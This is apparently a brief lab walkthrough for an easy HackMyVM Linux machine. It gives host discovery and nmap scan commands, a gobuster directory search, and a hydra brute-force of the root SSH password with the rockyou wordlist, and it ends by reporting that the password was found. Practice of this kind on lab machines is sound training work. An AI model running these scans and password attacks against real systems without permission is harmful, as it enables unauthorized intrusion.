machine downloaded from https://hackmyvm.eu/
difficulty: Easy
OS: Linux
sudo netdiscover -i eth0 -r 192.168.5.0/24
sudo nmap -p- -sS -sC -sV --min-rate=5000 -n -Pn -vvv 192.168.5.58
-oN report.txt
This machine has 2 services exposed ssh and http on ports 22 and 80
gobuster dir -u http://192.168.5.58/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://192.168.5.58
We found the root password.